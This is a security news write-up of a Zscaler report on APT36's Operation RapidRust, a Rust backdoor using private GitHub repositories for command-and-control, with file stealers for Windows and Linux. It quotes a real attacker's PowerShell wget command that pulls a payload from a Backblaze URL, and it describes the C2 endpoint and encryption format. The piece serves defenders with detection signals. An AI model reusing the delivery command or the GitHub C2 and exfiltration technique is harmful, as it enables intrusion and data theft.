APT36 derives its AES key from the same GitHub token it ships inside the binary
Zscaler ThreatLabz traced August 2026 attacks on Indian and Afghan government and defense targets to a new Rust backdoor that takes orders from private GitHub repositories. Its encryption key is a hash of a token sitting in cleartext in the sample.
The Watch · Security desk
What happened
- Zscaler ThreatLabz reports August 2026 activity by the Pakistan-nexus actor APT36, tracked as Operation RapidRust, against government and defense organizations in India and Afghanistan.
- RUSTYSHADE, a 64-bit Windows backdoor written in Rust, takes its tasking from attacker-controlled private GitHub repositories through the GitHub REST API.
- PSNATCH scans preconfigured directories and sends files with matching extensions to the same private repositories, and BASHNATCH does the equivalent job on Linux.
Why it matters
- Who's exposed exposure For a defense network that permits api.github.com, both the control path and the exfiltration path now terminate on an allowed hostname with an allowed TLS session and a valid token.
- What's now possible capability The cleartext token gives incident responders decryption of captured C2 traffic and read-write access to the actor's own repository, which is unusual leverage from a single sample.
- What it limits constraint Domain and reputation blocking will not catch this traffic, so detection falls back to behaviour: which hosts have any business calling a developer API with a personal access token.
- What it sets up precedent The move from Golang to Rust with encryption bolted on suggests the group is iterating its implants around a fixed hosting choice, so the next family should be expected on the same platform.
Next story · Security · 14h ago
Russia arrests three of four suspected DataSuckers members in the Dodo Pizza breachConfirmed3 publishers
The key is a hash of the credential. RUSTYSHADE derives its 32-byte AES key from the SHA256 hash of the GitHub personal access token [16], and the token itself sits in the binary in cleartext [14]. A defender holding a sample therefore holds both the key that decrypts captured C2 messages and the credential that authenticates to the actor's repository [20].
The rest of the cryptography is ordinary. RUSTYSHADE generates a 12-byte nonce with BCryptGenRandom, encrypts with AES-256-GCM, and formats the result as nonce, then ciphertext, then a 16-byte authentication tag [17]. It base64-encodes that and prepends the string HCENC1: [18].
On the network the channel is a single hostname. The backdoor calls the GitHub REST API for repository contents with a branch reference and a timestamp parameter, authenticating with an Authorization: token header [6]. The repositories are private [5]. Tasking is a set of agreed filenames the malware reads and writes, and the same scheme carries beacons and exfiltrated data [7]. PSNATCH and BASHNATCH push stolen files to the same private repositories [10][11].
APT36 has used this pattern before. Zscaler says RUSTYSHADE resembles GITSHELLPAD from the GOGITTER campaign, with the differences being encrypted C2, new commands, and Rust in place of Golang [13]. The company's previous write-up on the group was published in January 2026, seven months before the August activity it now reports [3][21]. Two backdoors and two file stealers across those campaigns all point at private GitHub repositories [22].
Delivery is cheap. One observed install ran powershell wget against a Backblaze B2 URL to pull DriverInstaller.zip [8]. The group also registered typosquatted domains impersonating popular Indian news outlets to stage PowerShell scripts and payloads [12]. Inside the network it looked for live hosts and mapped shares [19], and RUSTYMOVE copied pre-staged malicious files onto removable media connected to infected machines; Zscaler describes that as the route into air-gapped networks [9].
The detection surface the report supports is narrow. Every C2 message begins with HCENC1: [18], and the traffic is token-authenticated requests to api.github.com contents endpoints from hosts that have no reason to touch a developer API [24]. Revoking the hardcoded token ends that build's access to the repository, because the same secret authenticates the session [23].
What to watch
- Whether GitHub revokes the tokens and removes the private repositories behind Operation RapidRust, and how quickly APT36 reissues them.
- Whether the next RUSTYSHADE build separates the C2 credential from the encryption key, which would remove the defender's decryption shortcut.
- Whether PSNATCH or BASHNATCH turn up against targets outside India and Afghanistan.
Clarity's read
What the record supports and how the coverage leans. The claims behind it follow.
Reality
- Evidence62
- Adoption
- Not scored
- Hype gap+5
- Incentives40
- Confidence64
Claim ledger
Ranked by verification strength, evidence, and original report placement.
- [1]
In August 2026, Zscaler ThreatLabz observed new activity by the Pakistan-nexus threat actor APT36 in a campaign it tracks as Operation RapidRust.
- [2]
The campaign targeted government and defense organizations in India and Afghanistan.
- [3]
Zscaler's previous publication about APT36 activity was in January 2026; since then the group has maintained a high operational tempo and updated its tactics, techniques and procedures.
- [4]
The new tooling comprises the RUSTYSHADE backdoor, the RUSTYMOVE post-compromise tool, and the PSNATCH and BASHNATCH file-stealing tools.
- [5]
RUSTYSHADE is a 64-bit Windows backdoor written in Rust that abuses attacker-controlled private GitHub repositories for command-and-control.
- [6]
RUSTYSHADE uses the GitHub REST API as its C2 channel, with the endpoint template https://api.github.com/repos/[owner]/[repo]/contents/[path]?ref=[branch]&t=[timestamp] and the Accept header application/vnd.github.v3+json.
- [7]
RUSTYSHADE reads and writes specific filenames in the private GitHub repository to synchronize communication, with files used for commands, beacons and exfiltrated data.
- [8]
During post-compromise activity APT36 deployed RUSTYSHADE with the command: powershell wget https://f005.backblazeb2[.]com/file/Clients-easy/DriverInstaller.zip -o ww.zip
- [9]
RUSTYMOVE copies pre-staged malicious files to external removable media connected to infected machines, enabling the malware to spread to air-gapped networks.
- [10]
PSNATCH is a PowerShell-based file-stealing tool that scans a pre-configured list of directories and exfiltrates files matching a pre-configured list of extensions to the threat actor's private GitHub repositories.
- [11]
BASHNATCH is a bash script similar to PSNATCH that targets Linux environments.
- [12]
APT36 registered multiple typosquatted domains impersonating popular Indian news outlets to stage malicious PowerShell scripts and payloads.
- [13]
Some RUSTYSHADE functionality is similar to GITSHELLPAD, seen in the GOGITTER campaign; notable differences are support for encrypted C2 communication, new C2 commands, and the use of Rust instead of Golang.
- [14]
A GitHub personal access token is hardcoded in cleartext within the RUSTYSHADE binary and used in an Authorization: token header to authenticate to the actor's private repository.
- [15]
All messages exchanged between RUSTYSHADE and the GitHub repositories are encrypted using AES-256-GCM.
- [16]
RUSTYSHADE derives a 32-byte AES key from the SHA256 hash of the GitHub personal access token.
- [17]
RUSTYSHADE generates a random 12-byte nonce using BCryptGenRandom and produces a 16-byte authentication tag used by AES-256-GCM for integrity verification.
- [18]
The encrypted data is formatted as nonce[12] || ciphertext || tag[16], base64-encoded, and prefixed with HCENC1:, giving messages of the form HCENC1:[base64(nonce || ciphertext || tag)].
- [19]
APT36 attempted lateral movement by identifying active machines on the local network and mapping network shares.
- [20]
Because the AES key is the SHA256 hash of a token stored in cleartext in the binary, anyone who recovers a sample obtains both the decryption key for captured C2 messages and the credential that authenticates to the actor's repository.
- [21]
Seven months elapsed between Zscaler's January 2026 publication on APT36 and the August 2026 activity it reports.
- [22]
Across the GOGITTER and RapidRust campaigns, GITSHELLPAD, RUSTYSHADE, PSNATCH and BASHNATCH all use private GitHub repositories, while the implementation language and encryption changed.
- [23]
Revoking the hardcoded personal access token removes that build's ability to authenticate to the C2 repository, since the same token performs authentication and key derivation.
- [24]
The reported artifacts leave two usable network signals: the static HCENC1: prefix on C2 messages and token-authenticated api.github.com contents requests from hosts with no developer function.
Sources
2 independent publishers whose own reporting we read for this story.
- thehackernews.comTransparent Tribe Deploys New Rust Backdoor Using Private GitHub Repositories for C2
1 article · September 18, 2026
- zscaler.comOperation RapidRust: APT36 Deploys RUSTYSHADE, RUSTYMOVE, PSNATCH, and BASHNATCH
1 article · September 16, 2026
Topics and entities
Topics
- Malware Analysis
- State-Sponsored Cyber Espionage
- Removable-media and air-gap propagation
- Command-and-control over legitimate services